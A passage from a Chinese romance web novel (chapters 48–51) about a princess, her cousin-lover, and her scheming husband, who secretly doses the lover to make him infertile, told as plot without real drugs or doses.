“我家小妹说你直愣愣往天喜湖去,似乎有什么想不开嘞?” “是误会了。我只是……想到处走走,没有别的意思。” 男子用手抚抚胸口,连声到:“这就好这就好。我还说这俊的小子,哪来的伤心事呢。” 杨力行的眼神波动了一瞬:俊吗? 而后想起来驸马那张精雕玉琢的俊脸,他微微摇头,这是老伯没有见过世面。 “小哥,你要是有啥伤心事,可以跟阿叔我说。咱们也是萍水相逢,你出了这个门,咱们就谁也不认识谁了。” 杨力行意动,但终究没有应承。 男子见状也不劝,只是将粥放到杨力行床边:“阿叔我也是经历过一些事情的,小哥,喝了这粥,然后休息下吧。明天,一切都好了。” 而后离开了,吱呀一声门关上,四周寂静下来。 只有杨力行看着那粥,那碗普通的、熟悉的粥,端了起来。 他并没有喝,而是感受着手心的温度。 这碗粥应该是刚出锅的,带着烫手的热度,但杨力行不觉得烫,只觉得温暖。 他定定看着这碗粥,眼泪掉进碗里,连一丝涟漪都荡不起来。 他想起自己对新婚的幻想,山照不是现在这个样子的,他也不是现在这个样子的。男耕女织,白头偕老,他不过要最简单的生活。 是他变了,也是她变了。 相爱是从前,背离是现在,渐行渐远、渐行渐远。 第48章 第 48 章 共载史册 山照的情绪没有持续太久, 毕竟她今天还有事情要跟驸马商议。 驸马要给父皇上科举一事的折子了,她跟驸马努力了几个月,不能因为这样的事情耽搁了。 她没有叫人去找表哥, 反正如果他想回来会自己回来的,如果……他不再回来, 她就接受这个结果。 她能够对外力产生的阻拦坚定说不, 在昭明帝拆散他们的时候一步不退, 却只会眼睁睁看着内在矛盾引起的崩解。她无力阻拦、也不想阻拦这种崩解, 她只需要一直选择她的人。 这是她的底线。虽然痛苦,但她宁愿割舍, 不要勉强。 长大其实就是一瞬间的事情, 山照深吸一口气,将那些沸腾着的情绪按进心底,而后对着宜春道:“为我上妆吧。” ** 孟浴恩一直住在公主府西院,西院伺-候的人和东院那边主要是公主的陪嫁不同, 每一个都经了他的眼,要怎么拿捏,他都一清二楚。 毕竟公主府是他督办的,比起公主,他更了解公主府的一切。 人员住所虽然分开了,但库房和厨房、针线都是共用的,所以西院的人依旧有很多机会接触到东院的人,这其中自然有孟浴恩的示意。 毕竟他可不是什么随遇而安之辈, 什么事情都想要抓住主动权。 立余站在堂前通风的角落, 将自己全身都拍了遍,又站着吹了会风,感觉自己身上没有什么药味了, 这才进了屋。 孟浴恩正在写折子。他从小跟着名家学字,遍临百家,不过如今时兴“馆阁体”,他便也学沈度,写得一手端庄秀丽的小楷。 立余知道书写极耗费心神,错了一字便要重头再来,便是有话要说,也不急在这一时,便在一旁静静候着。 看见茶杯中已无热雾,又去换了一杯。 一连换了三两杯,才有一只纤长白净、骨节分明的手端起来品了一口。 立余知道,这便是主子已经写好的意思。 “少爷,那老板说不必再用药了。便是再健壮的男子吃了三月弱阳的药物,也是不成了。” 孟浴恩表情没变:“还是再用一个月,不能出差错。” “可是,那人的伤差不多好了,不必日日用药。这药又从哪里进呢?” 立余是真怕哪天被公主发现,到时候闹起来可不是一两句好话能摆平的事情。毕竟自家少爷干的这事实在是釜底抽薪,太阴了。 叫一个好端端的男子不能生育,说不定以后立都立不起来,这…… “药不吃了,补汤总是要喝的。了解清楚之后,再从采购的店铺那边依照着换掉材料就行。” 孟浴恩虽是默许了公主养情-人,也不过是无奈之举。 这不意味着他就能接受生个孩子算他头上这种事情。 况且他也看明白了,那个杨力行不除,殿下怕是不会认真考虑合作的事情。女人的心,只会被放进去的那个人所左右,那他就拔了这个人。 没有孩子,杨力行就是泥菩萨,一点风雨自己就化了。 不足为惧。 他勾唇,满意得看着写好的折子,难得的心情颇佳。 过了一刻钟,折子上的墨迹干了。孟浴恩这才收好折子顺手放进袖袋中,神色中颇有点意气风发:“走,该去给公主请安了。” ** 宜春上妆的本事还是不错的,用热水洗过两次,又用煮熟的鸡蛋滚了几圈,珍珠粉薄薄上了一层,颊边上了一丝淡淡的胭脂,便一点也看不出哭过的痕迹了。 倒显得山照面色红润,有如春桃拂脸。 “殿下一上妆,立即便光彩照人了。” 山照左耳朵进右耳朵出,她早就被宫人夸习惯了,并不格外欢喜。 只是今日毕竟哭了一通,按理说这痕迹是不好遮掩的,但她左看右看也没看出破绽,好奇问道:“这样的妆容宫里也学吗?还是宜春你自己的本事?” 宜春笑笑:“自然是要学的。宫里……谁没有个伤心的时候呢?” “别看我们这些人,现在都是八风不动的样子。十一二岁小宫女的时候,常被嬷嬷斥责后哭鼻子呢!” 宜春知道这会公主心情不佳,不愿她听说这些事情引发幽思,便带了点打趣说起幼时的趣事。 山照却还是一瞬间就共情了,叹道:“是呀,跟宫妃宫婢受的委屈相比,我这又算个什么呢?” “我虽不认同贵妃的做法,但父皇确实待贵妃……不够温情。”山照本想说冷血,但到底是知道不能乱说话,将这两字强行咽了进去。 贵妃虽是对下人不慈悲,可毕竟是父皇的妃子,又生了孩子。唯一的孩子早夭,她心里不忿,也是人之常情。 山照虽是理直气壮的叫她去找父皇做主,其实心里也做好了被斥责两句的准备。但凡父皇向着贵妃一点,贵妃心里或许也好受些。 山照被说上两句倒不是什么大事。 只是父皇终究是没有给贵妃这个体面。 宜夏掀帘走了进来,行礼:“殿下,驸马爷来了。” 山照轻嗯了一声:“还是叫驸马去书房吧。” ** 孟浴恩第一眼就感觉到了公主的状态不太好。 是种奇怪的感觉,分明山照装扮得体、衣饰鲜亮,看起来也是十分精神的。 可就是透着股不太高兴的劲儿。 这种感觉很微妙,孟浴恩从前并未这么细致的观察和揣摩过别人,但他现在却能仿佛呼吸般自然的察觉到山照的情绪。 “殿下昨夜睡得好吗?” 山照一进来,就很自然的先入座了。闻言,有些奇怪的瞄了孟浴恩一眼。 “还好。” “如今正是秋冬过季之时,殿下若是偶有不安稳之时,可点一炉安神的香。” 孟浴恩入座,吩咐侍从立余:“待会去拿些我调好的降真香进给殿下。” 山照对燃香并无特别的感觉,不算喜欢也不讨厌。不过驸马经常送些小东西给她,她拒绝着拒绝着就习惯了,推拒还要拉扯几个回合,不如直接收了。 “那就谢过驸马了。” 孟浴恩从怀里掏出方才写好的折子,这正是这些日子他翻遍历朝科举制度,又跟山照反复商议这才写出来的奏折初版。 他虽然可以一人做决定,但有什么是不可以跟公主共享的?不过是署上两个人的名字罢了,这点让步他甚至都不曾犹豫。 山照拿过折子,一字一句细细看起来。条理清晰、字字珠玑,读来竟然一气呵成。 等山照看完,正好是一盏茶的时间。 “驸马写的甚好。” 孟浴恩的折子并没有华丽的辞藻,只是将流程礼治一一列出,又佐以史料,便很有说服力。 反正山照看完,觉得完全按照折子上说的进行也没问题。 而且驸马特地将山照的想法也加了进去,在折中添了句:四方之士,家境贫寒者,常缺资用。实有优异者,可令当地学政开出‘路券’,能住驿站、租车马。一应资费,皆出于公。 相当于包了贫寒学子赶考的车马和食宿,对于能读起书的秀才、举人、进士来说,其余的开销基本上也能自理了。 而这些钱,都从国库中支取。也算是取之于民、用之于民了。 “都用国库的话,会不会用很多钱?” 山照并不清楚国库有多少钱,但她知道这种给不起路费的学子还是挺多的。 孟浴恩看人的时候,总是习惯于看向嘴唇,这个方向既不会像直视双眼一样,过于直接。又不会显得怯弱。 他轻描淡写般扫过山照,看她说话时,若隐若现的洁白贝-齿和张合的红润嘴唇,不知道怎么心头有些发热,他移开视线。 “给各地学政一些名额控制数量便是。驿站的食宿和车马也不需要准备太好。这样富贵人家的公子哥吃也吃不下、住也住不惯,倒真能给到需要的人。” “这样一算下来,还不如宫中一月的花费多。” 山照恍然大悟:“这就跟驸马跟我讲过的前朝赈灾,将运给灾民的粮食中都掺上麦麸一样。真正的穷人是不在乎好不好吃、体不体面的,反而能得到实惠。” 孟浴恩自己都有些忘了是什么时候讲的这件事情,但不妨碍他轻轻颔首,夸奖山照:“殿下耳听则诵,实在聪慧。” “要谢谢驸马讲得清晰明了。不然我自己可想不通为什么赈灾用掺了麦麸的米会比净米效果好的多。” 山照之所以马上联想起这个故事,实在是因为印象太过深刻了。 干干净净的米粮从京里运到灾区竟能十不存一,掺了麦麸的杂米却能保留五六成。 虽然依旧存在贪腐,但杂米卖不上价格。百姓至少还能买得起,还能活命。 “殿下,臣明日便上折子?” 山照点头。 “辛苦驸马了。其实……也不必署我的名字。” 山照抿抿唇,她起初想做些实事,确实也是希望扬名的。可是几月前她去见了那些被资助的贫寒学子,了解到他们的生活之后,她觉得自己这种扬名之心有些鄙薄了。 譬如仁心书院的一名白姓学子,被召见时甚至涕泗横流,对山照好一番感恩戴德。山照本以为这是一个沽名钓誉之辈,毕竟她也见了不少讨好她的手段,没那么单纯。 但这个白学子,说的东西却并不是家国大义、公主恩德。内容不过是些家长里短的东西,譬如他的妻子,减少了绣活,最近眼睛好了许多。譬如他的孩子一人裁了身新衣,他还有些自豪的分享他的长子正在准备童生试。 那人相貌普通,提起长子的时候眼神却格外熠熠:“小生长子,虽才学未满,却极有志气,立志要以十岁稚龄参加童生试。还说,不中,亦不伤。” 这样的事情,虽不惊天动地,却也如一点萤火,星星点点的照亮了山照摇摆不定的内心。 也就是从那个时候,她真正认真的开始做这些事情。不是为了反抗父皇,是真的觉得自己可以帮助到一些人。 或许,便是因为这样,所以有时候忽略了表哥的感受吧。毕竟人的精力是有限的,山照没办法处处留意到表哥的情绪。 山照脑海想了许多,却不过是一个眨眼的时间。 “不,臣要署。殿下既然参与了此事,理所应该有‘泰和公主’的名字。殿下的名字,将同臣的一起,千千万万年的存在史书中。” 孟浴恩说的平淡。 山照心里却掀起滔天巨浪,她控制不住的脸红了。 这话在山照听来,宛如一句情话。 他和她的名字一起,载入史册。 若他们真是一对恩爱夫妻倒也罢了,可分明是貌合神离的假夫妻。 山照更是摇头:“不妥不妥,本来事情也主要是驸马你做的。我……其实我提的那些意见都很幼稚,是驸马一点点修补完善的。” 山照知道自己不算笨,但确实不通政事,她总是想法天真。然后被驸马一点点引导,知道自己的不足在哪。 山照也是在这个阶段,才真正感受到,原来驸马若是想体贴一个人,真是如春风拂面、清泉润石一般,让人舒坦。 “殿下自然是一等一的功臣。毕竟没有殿下,又哪来的臣呢?” “可是……”山照再次推让。 宜春看着二人你一言我一语的拉扯起来,跟其余几人换了一切尽在不言中的眼神。 主子们的关系好不好,其实下人远比当事人清楚的多。 但不必点破。 第49章 第 49 章 道歉道歉 杨力行最终还是喝下了那碗粥。 他很好奇, 这粥的味道是否会跟记忆中一样? 抑或是,他需要一些慰藉,需要一个让他心里能涌上正向情绪的媒介。 粥还温热着, 味道不好不坏,平凡普通。 公主府的粥, 不拘名字是什么, 要么在食材上尽善尽美、要么在技艺上炉火纯青, 好吃是好吃的, 但这些精致吃食不是杨力行习惯的。 甚至,他会故意不碰那些更名贵的东西, 幻想着自己的生活还如同之前一般简朴。 因为他们都恶意的猜忌, 自己是为了荣华富贵才死心塌地跟着表妹。 即便没名没份、即便隐姓埋名、即便低到尘埃,他们都还是不相信,其实杨力行是真心喜欢表妹的。 如今,连表妹都动摇了……他还在坚持什么呢? “公子……” 杨力行正沉浸在自己的世界里, 忽然有稚嫩清甜的女声响起。 他抬头。 双喜站在门口,面露难色,双手局促的抓紧了自己的手指,似乎很是犹豫。 纠结良久,才从袖口抽出一方帕子递给杨力行。 杨力行困惑,然后才感觉到自己脸上有些凉意,伸手摸了一把。 一手湿漉漉的触感。 哦,原来是他哭了。男儿有泪不轻弹, 杨力行也不知道自己是怎么了。 “……谢谢你。”杨力行笑不太出来, 但表情已经尽量柔和下来:“打扰你们了。我马上就走。” 杨力行从床上起身,看这架势是打算直接走了。 双喜迟疑看着他,但没说什么, 只是从门口让到了侧边。 杨力行总感觉自己有什么事情没做,于是走到门口后就顿住了,思索片刻。 他看着双喜虽然干净但依旧有几处补丁的衣服,又环视了整个小院,突然明白了什么,伸手在自己身上摸索着。但他上下都摸了遍,楞是一个配饰也没戴,也没有银钱。 “姑娘,你家中有什么需要使力的地方吗?” 杨力行想起之前进屋安慰自己的那个男子,虽然正在壮年,但体型瘦弱,想必做些活能减轻他们的负担。 “姑娘有善心,我本就应该报答,只是没带银钱。还请借我一身干活的衣服,砍柴也可、补瓦也行,我什么活都会干。” 双喜注意到他在说最后一句话的时候,脸上的神色跟方才忽然不太一样了,像灰暗的天空中忽然有了一束光亮。 双喜并不需要他报答什么,她只是觉得,他想做就做吧。她虽然年纪小,但见过不少世态炎凉,知道一个人最悲观的心态就是什么都不想要,也什么都想不做。 之前这个人是这样混混沌沌的,现在似乎有好转的迹象了。 于是她应下了,找了父亲穿过的旧衣给他。 “那边就是柴房。快入冬了,正是需要砍柴的时候呢!”双喜指向厨房旁边的屋子,那里面横七竖八的摆放着许多树桩子,这种用来做柴火是最好的,耐烧。只是质地坚硬,也是最难砍的位置。 柴米油盐,冬季的柴火是必需的东西,最是紧俏。 杨力行换了衣服,到了地方,拿起砍柴的斧头掂量了下试了下手,直接就拿了块树桩开刀。 双喜知道砍柴虽然简单,但实在是一件需要使大力气的事情,本还怕这位陌生公子干得勉强。 没想到他手起斧落,那虬结的木根瞬间就被斩落,变成细小的树枝。而圆形的树桩,被斧头连续劈砍,发出几声闷响就变成两块,而后越来越小,直到变成可以放进灶膛的大小。 “阿爹砍柴要砍几下的,公子你只需一下就砍开了?”双喜对这个男子有些好奇,因此一直没有走开,这会实在感觉杨力行不是一般人物。 杨力行勉强提了提嘴角,他将心里的那些情绪化作砍柴的气力,不仅不累,还越砍越起劲。 “往常我在家时常砍柴的,不仅砍自家的也砍……”杨力行忽然顿住了,手里的动作也缓了。 下半句是,还砍表妹家的。 他其实不会什么甜言蜜语,只会蛮干。赚了钱给表妹买东西,闲着没事到姨母家干活,只要是对山照好的事情,他都愿意去做。 只是……关在府里,表妹有那么多仆人,他好像全然没有用处了。 所以他害怕。 他感觉表妹现在不需要他了,他是不是到了应该离开的时候?杨力行这样想着,可心里始终不忿,他不甘心。 他知道,即便发泄再多的力气在这些柴火上,回到公主府,他还是面对着一模一样的处境。 就让他逃避一会吧。 双喜家的柴火越码越高,柴房越来越满。 杨力行不知疲倦般砍着,直到双喜的声音再次响起:“公子,来吃饭吧!” 杨力行停下,看了看外头的天色,天高云淡,日头明亮。 他这才发觉,已经到了午间,他是在晨光微亮的时候出的府,现在已经过去几个时辰了。 一阵气性过去,理智回归,他心头发紧,想到一件事情:他就这样负气出门了,而表妹现在都没有来寻他…… 心里既失落,又有一阵恐慌。 不行,他得马上回府。 “姑娘,谢谢你们,这些柴火应该够你们用一段时间了。”杨力行抱拳行礼:“我这就要回家去了。” “可是……饭已经做好了。”双喜挽留。 “不了,出来久了,家里人该着急了。”杨力行没有再继续拉扯,径直换回了自己的衣服便离开了。 双喜送他到门外,看着这人远去的背影,不知怎么还想叫住他。但没有理由叫住。 ** 山照前脚一走,后脚孟浴恩就知道他们吵架然后杨力行负气出门的事情了。 他语气讥诮:“我还当他们有多坚贞,原来也不过如此。” 话虽如此,他是乐见其成的。如果不需要他再额外花心思,这对‘野鸳鸯’就能自己分开,那就省去太多事了。 其实他真的没太多时间,玩这些情情爱爱的把戏。 ** 杨力行偷偷摸摸从小门进了府。 当然,公主府并不是谁想进就进的,暗卫和侍女们都心知肚明,故意放了进来。 他一踏入公主府就开始为早上的一切后悔。 出去的时候是铁骨铮铮,想的是壮士一去兮不复返。回来的时候,觉得自己简直是傻透了。 其实表妹已经对他很好了,到底是他不中用,什么事情都帮不上忙,表妹只能依赖驸马。便是,驸马频频跟表妹献殷勤,也不是表妹的错。 杨力行心里还是有些酸,但更多的是酸自己一点手段也没有。姓孟的会吟诗作画、弹琴吹箫,他只能给表妹表演个耍大刀。 真是上不得台面。 他得跟表妹道歉……看了看自己因为砍了半天柴,显得更加饱满的肌肉,心想:只能上点更上不得台面的东西了。 ** 山照第五次唤来看门的宜冬。 “表哥还是没有回来吗?” 宜冬却没有先回答,而是抬头看了眼宜春,宜春还未表现出什么,山照发现了她们的眉眼官司。 “怎么?还要看宜春的意思回答?” 山照的语气淡淡,但之前灵曲的事情一出这些婢女谁不知道公主忌讳别人替她做主,宜冬当即吓得跪了下去。 宜春看向宜冬的眼神带着些审视,似乎是不敢相信她有这么蠢。 “殿下,杨公子其实回来有些时候了……”宜春见状也只能解释,她并不是有意瞒着山照,而是杨公子说他准备跟公主道歉,只需要晚些告诉公主他回来的消息即可。 宜冬也是知道的。但她心里有点惴惴不安,山照问一次,她就更加不安一层。到了第五次,就有些说不出谎话了。只是没想到,就是看了一眼就刚好被公主抓个正着。 山照端起桌上的茶杯,略沾了沾唇:“水冷了。再去备一壶。” 她看向宜冬。宜冬没发出任何动静就连壶带杯一起拿了出去。 又看向宜春。这是问宜春要个解释。 “杨公子说要认真给殿下道个歉,需要一些时间准备。奴想着能哄殿下开心,就允了拖延些时间。”宜春虽觉得自己没什么错,但始终是瞒了公主,并不辩解:“但到底是瞒了殿下。奴愿意受罚。” 山照自己都犹豫了。她不喜欢被隐瞒,但若是以后谁准备了惊喜给自己,婢女们怕自己生气每次都提前告诉自己,这不是生活毫无惊喜了?善意的隐瞒,倒也不算大错。 “算了。” 新的茶水呈上来,山照没再找借口支走宜冬。 “那等表哥准备好了,就告诉我吧。” 宜春观察着山照的表情,见她不抗拒接受杨公子的道歉,心里已经有了预期。看来十多年的情分,到底是不一样的。 ** 杨力行也没什么好的办法,只是在公主府的柴房劈柴。 不过换了一身夏日的短打,在一下又一下的挥舞中,杨力行没一会就浑身冒汗,在汗液的折射下他小麦色的胸肌泛出油般的光彩,从衣襟紧促的包裹中一览无余。 山照看了一眼就笑了,连忙让婢女离远些。 杨力行耳聪目明的,自然发现了山照的到来,但他佯装不知,依旧沉浸在劳作中。只是挥舞的力度更强了,大臂鼓出山峦般的弧度。 山照笑,却不是因为看到了杨力行的身体。 只是明白了他想表达的意思。 曾经表哥也是这样到她家干活的,不过不一样的是,就算是夏天,他也不会穿着短打这样的衣服出现在自己面前。 他在很笨拙的求和,用曾经的感情、用他的身体。 想起曾经,山照表情柔和了许多,可是她却不准备就这样轻易原谅。 她知道,如果不一次性将这些心结解开,这样的事情还会重复上演,直到他们的感情消磨殆尽。 “表哥。” “道歉,是需要用嘴巴说的。” 第50章 第 50 章 冷战和好 杨力行嘴角的笑落了下去。 “表妹, 对不起。”他眉头紧皱,开口想解释,但又不知道怎么说。 他也不知道自己是怎么回事, 感觉一时间走了死胡同,眼见着表妹跟驸马的关系越来越好, 他却一直没有让表妹怀孕, 他不知道怎么改变这种现状, 就越想越偏了。 山照摇头, 她要的不是道歉。 “表哥,我不明白你为什么不相信我。” “我……我不是不相信你。”杨力行开始着急:“我是不相信自己。” “表妹, 我觉得自己很没用, 一点忙也帮不上。不如……还是让我出去吧。” 杨力行在府里的生活算不上自由,毕竟虽然府里的人都心知肚明,可还得瞒着驸马,他就算出门都只能避开孟浴恩在的时候。 “出去?你是说还是跟之前做衙役一样?” 杨力行默默穿上了长袍, 他接下来要讲的事情不适合用这样不得体的状态说。 “表妹。” 杨力行下定决心,他想过回来之后要怎么办,当然,道歉求和是首位。 第二步…… 他看着山照,从她眉梢眼角一寸寸细细看过,才说出了自己心底盘桓了许久的打算:“表妹,我不能继续这样下去了。我是个男人,我也想堂堂正正的站在阳光下。这样躲躲藏藏的日子, 让我难受极了。” 山照也看着杨力行:“所以表哥你打算怎么办呢?” “表妹, 让我去参军吧。” 杨力行早就有了这个念头,从眼见着表妹嫁给别人开始,他心里的不甘就与日俱增。驸马是很好, 身份高贵、才华横溢。 可是驸马甚至不知道有他这么一号人物,他就被淘汰出局了。就算是输,也得有过比试才对吧? 山照没有理由把他留下来。她知道表哥一直是痛苦的,如果她是这样的处境,她也会痛苦。 所以,她不怪他。 “你都想好了,你还穿这样来和好……”山照语气中带着些许埋怨。 杨力行的脸霎时红了,虽不明显,但山照还是一眼就看出来了。 “其实,我没有想好现在说的。但是,不知道怎么表妹你一问我脑海里面就浮现出这个。” 他说着,语气越来越低落。他现在脑子也不是很清楚,不知道自己到底要怎么做才是正确的。 他想要跟表妹堂堂正正的在一起,可是他没有身份就不可能光明正大的在一起。要有让昭明帝和承恩公认可的身份,他就必须努力,一般般的努力还不行,他只能选择搏命。 山照重重吸了口气,她不知道自己应该怎么回答。 “我不会在原地等你的,表哥。” 风吹动了院子里的树叶,在静谧的夜里沙沙作响,但山照的声音还是格外清晰。 “你去参军,我阻拦不了。但你一去,我不保证永远不喜欢别人。”山照没有理由劝阻他,她自己也对他们之间的感情变化感到无能为力。 既舍不得又割不断,但又总有磕碰,不如从前和睦。 “可是,千万不要说是为了我去参军。表哥,你有没有想过,万一你有不好,你要让我活在愧疚中吗?” 山照知道自己心软的毛病,所以她现在学会了不把别人的事情揽到自己身上,只要不是她造成的,就与她无关。 包括表哥的性命,她不要把这么沉重的东西背到自己身上。 山照说的这一番话堪称绝情,杨力行根本没有预想到表妹会说这些话。 他呆滞了,又深觉得委屈。 “可是不为了你,我为何要去参军呢?” “是为了你自己能有个官职出身。”山照终究有些不忍,避开杨力行难以置信的眼神:“若表哥真是那么爱我,就该照顾我的喜怒哀乐。你这样一走,不就等于是不管我了吗?” “表哥,你想清楚。你要去参军,好,我送你去。但我不会把自己困在这件事上。” “……但我就是为了你啊,为了你我离开家乡,为了你我备受冷眼,为了你我甘愿舍弃姓名。现在,我要去九死一生中寻找机会了。表妹你,为什么是这样的反应?” 杨力行不懂,但他太委屈、太悲愤了:“你还是喜欢上了驸马!” 山照:…… 她其实真的很不想在这种时候发脾气,可是表哥为什么就不能承认,他们之间的问题只是他们的,其实跟驸马一点关系也没有。 她不想继续争吵了,留下最后一句话就转身离开。 “你要怎么想就怎么想吧。你要走就走吧。” 不欢而散。 ** 立余觉得自己还是不太懂自家少爷。 明明早上还在为公主跟情夫吵架的事情心情愉快了一阵,怎么这会收到了新消息脸色就又不好看了呢? 孟浴恩只是收到了一张纸条,说了杨力行因为准备去参军跟公主起分歧的事情。 他刚开始觉得是个好消息,但往长久想了下又觉得不妥。 活着立功,那姓杨的还真有了尚公主的资格。死了,别看公主说的狠心,心里恐怕永远忘不了这个人。 一想到这个可能,孟浴恩牙关都咬紧了。 “我太仁慈了,我早就该拔了这根刺。” 立余疑惑看向驸马,怎么没头没脑的就冒出来这么一句? 但孟浴恩已经把自己说服了。这都是为了让公主以后能够安心跟自己过日子,他不得以,必须从公主心头把这个人拔出来。 “不是说那个人出去之后被一户人家捡了回去吗?去,把人弄过来问问,他们都说了些做了些什么?” 立余不知道怎么又到这一茬了,但他只能应下。 ** 杨力行发现自己好像又做错事情了。 表妹从那天开始就没有理过自己,他整日惴惴不安,不知道还能干些什么好和好。 “杨公子,殿下问您准备什么时候出发呢?” 这种僵持的生活被婢女的一句问话打破。 杨力行看向宜春,神色瞬间尴尬起来,他支支吾吾不知道该怎么说。说他这会又不想走了? 主要是之前的谈话跟他预想的实在是太不一样了,他以为表妹就算放自己走也会是万分不舍的,他可以像个英雄一样为了心爱之人去奋斗。 可是她说,不会等他,也不会感谢他。 他瞬间就失去斗志了。 “我能再见见表妹吗?” 他看向宜春,眼神带着恳求。 那日回来之后,宜春就告诫了他,再也不能做出私自闯进公主卧室的事情,杨力行已经十多天没有见过表妹了。 “殿下说,杨公子出发那日一定前来送行。” 也就是说,走的那天才能再见到表妹了。 杨力行瞬间灰心,他想不明白事情怎么到了现在这个样子。 “这不就是逼着我走吗?”他喃喃自语。 “求你了,宜春姑娘。告诉表妹,我真的很抱歉,再让我见一面吧。” 宜春看着杨力行的模样都觉得有些可怜了,她叹口气:“杨公子,奴婢也只能转达给殿下。至于殿下见不见……” 杨力行感激得朝她笑笑:“我知道的,表妹见不见我,都不关你的事。” ** 山照还是见了杨力行。 “表哥。” 杨力行为这称呼几乎感动到要流泪,他没想到表妹只是简简单单叫他一声表哥,他就能这么高兴:“表妹,我以为……我以为你再也不想见到我了。” 山照无奈:“表哥,是你没想清楚就在我面前胡说八道的。我只是给你一些时间想想清楚。” “表哥,你现在想清楚了吗?你到底要什么?” 杨力行沉默了一刻。 “表妹,我还是想留在这里……”杨力行上前几步,观察了下山照的神色,然后拉住了她的手。 “我是想过参军,但其实本来没有想这么说的。我就是有点赌气,想叫你再在乎我一点。” 杨力行当时觉得表妹变得好不一样,他很失落。但他反思了,他不能就这样离开表妹。如果有一天,他们不再互相喜欢,那他们就分开。 在那之前,就有一天过一天吧。 “表妹,是我魔怔了。我太想有一个我们的孩子了,所以……”杨力行为之前的所有,认真的道歉。 “是我想差了。我以为有了孩子就能一直跟表妹在一起,却太在乎孩子的事情了。我让表妹失望了。” 杨力行说到这里,从自己怀里掏出一根马鞭。 “表妹,我知道我这次做的太错了,要不,你打我一顿消消气吧!” 山照听着这种‘幼稚’的道歉方式,看着那根马鞭,笑了。 算了,表哥就是这样的,他脑子里面想不了复杂的事情。 “好了好了,把鞭子收起来。” 山照使了点劲回握杨力行:“下次有什么事情,要跟我好好说。” “之后就请医师来给我们把把脉,看看是不是需要调理身体吧。”山照这么说着,下一句话却又是警告:“但若真是有什么问题,我们只能好好面对,再也不要这么跟我闹了。” “表哥,我也是会难过的。” 杨力行这会自然是山照说什么都对,他愧疚的低头。 “我想过了,老是这么把你关着也不行。不如,就让你在府里干点什么吧,只要瞒着驸马就好。” “表哥,你想做什么呢?” 杨力行认真思考了一番:“表妹,不如我给你做车夫吧?这样便能正大光明的跟你一起出去了。” 山照又想起杨力行之前的控诉,不放心的多问了一句:“万一见到驸马,表哥你不会失态吧?” 杨力行连忙保证:“我知道表妹不喜欢他。我不跟他比了,只要我们好好的,驸马……就是个名头。” 山照还是怀疑,表哥已经醋了很多回了。但现在气氛刚刚好了,她不想破坏。 “那好,就做我的车夫吧。但是这样表哥你就得住到外院去了。”山照觉得这个主意也还不错,现在这种状态,他们日常生活保持一点距离或许更好。 但她没想到,这个决定的后续发展会让她跟表哥彻底走散。《 》 50-60 第51章 第 51 章 驸马抓奸 杨力行摇身一变成为了公主府刚招进来的车夫, 住在外院,只是一应吃穿都比杂役们好,也没住通铺, 而是自个住在偏僻的角落房间里面。 那偏僻房间实则有道小门,方便杨力行进内院见山照。 晨起刷马喂牛, 闲余习武看书, 杨力行倒是觉得在外院的日子比之前充实了许多, 这种充实让他安心。 没过几天, 就一扫颓丧,精神焕发起来。 外院管事派小厮跟杨力行传话:公主要用车。 杨力行便立刻从牛棚中牵出三头大青牛, 它们身材健壮, 通体干净,一看就得到了极好的照顾。 这些青牛最小的也有两岁多了,极为习惯时常要被牵出来驱使车驾的事情,因此极为顺从的就被上了束笼和牵引绳。 杨力行挨着摸了摸青牛们, 又一牛喂了把草料,这才驱着牛车到了府门外等候。 天气冷了,外面的树枝上被霜冻出晶莹的结晶,远看就像一树银花。伴着呼啸着的北风,天上稀稀疏疏下起雪来。 杨力行看了一眼,便戴上了斗笠。 雪扑簌簌越下越大,路边薄薄铺了一层雪,杨力行的脚边都有了一层水迹, 车厢那边更是如同下了雨一般, 车轮下淌着水。 这是因为车厢里早就用银霜炭燃了火炉,比旁处更温暖。 他无聊之中,隐约听到了远处的叫卖声。公主府周围自然是没有摊贩做生意的, 可也不可能几条街巷都无人。 他想起做衙役的那些时日,脑海里浮现出汤粉的热气、包子的香味、蒸饼的柔软,浮出笑容。 府内传来开门声、脚步声,意识到山照要出来了,杨力行的笑意默然消失了,他正了正身,而后下了车,垂手站在了车旁。 婢女们簇拥着正中间穿着裘衣的女子,她的面孔如同天水印月,非同一般的皎洁明亮。 她一步步走近,杨力行忍住了靠近她的冲动,疯狂提醒自己:现在他是车夫,他们没有交集。 这对他来说很困难,他几乎无法克制自己看向她的眼神,更无法控制自己流露出的喜悦。 因而他只是将面孔隐没在斗笠下,只露出鼻翼和嘴角,强装平静无波。 婢女们自然知道这是谁,但论起规矩她们可是行家,一丝异样也没有,一点眼角余光都没有给杨力行。 山照眼神有些似笑非笑,也没停留,径直进了车厢。 杨力行躲在斗笠下都仿佛都被这种眼神击中了,他愣了愣神,差点同手同脚上了车。 这才几日不见,怎么感觉表妹不一样了? 他深吸几口气,执起缰绳,青牛们温驯的走动起来。 车厢四角的铜铃随着走动发出轻灵的声响,“叮——铃——叮——铃——”,一声又一声,悠扬到极远的地方。 ** 山照大概是从三四个月前开始自己打理商铺的。从前她一直以为每个月商铺掌柜们给她汇报收支情况就算是打理了。 但掌柜们虽然都是精明强干之人,毕竟不是主子,很多事情都不能自己决定,而这些事情其实都是孟浴恩处理的。 世家子弟也并不都是不通俗务的,孟浴恩就恰巧什么都懂一些,他年少时候甚至可以每日只睡两三个时辰,精力更比常人更盛。 这么多的时间,必定不可能只学所谓‘正事’ ,这些杂务便是跟着孟夫人耳濡目染学会的。 至于山照,她就勉勉强强学了些基础皮毛。更是不知道经营一个商铺,还需要管理进出货、推出新品、维系客户这些门门道道了。 事实上,她如今还是不完全懂这些,但并不影响她的铺子还是越干越红火。 她只有一个很朴素的观念,货品好、价格惠,生意自然就能做的大。 至于其余商家眼红,用尽手段构陷使坏这样寻常商户会遇到的事情,她自然不可能遇到。 脂粉铺、药材铺、书店、瓷店,牛车咕噜噜一连走了四个商铺,人也累、牛也颓废。 山照大手一挥:“今天就在外面吃。” 刚有点纠结去吃什么,便看到了十多米外‘一品居’的旗招,再一看店面,嚯,三层的楼。 那就这里了。 要了个包间,一连点了七八个菜。 菜一上齐,包间门一关,山照的姿态便松懈了许多,她朝着还站在门边的杨力行勾勾手指。 “表哥,怎么还愣在那里。” 杨力行不知怎么觉得有点手足无措,他好像还没从那个车夫的套子里出来。他忽然有个异想天开的幻想:如果表妹生来就是公主,而他真是她驱车的奴儿,她还会喜欢他吗?这种幻想,让他忍不住浑身轻颤了一下。 但在场的人有这么多,杨力行自然是不敢表露出。 他只是迟疑的看着山照,眼里都是山照的人像倒影。 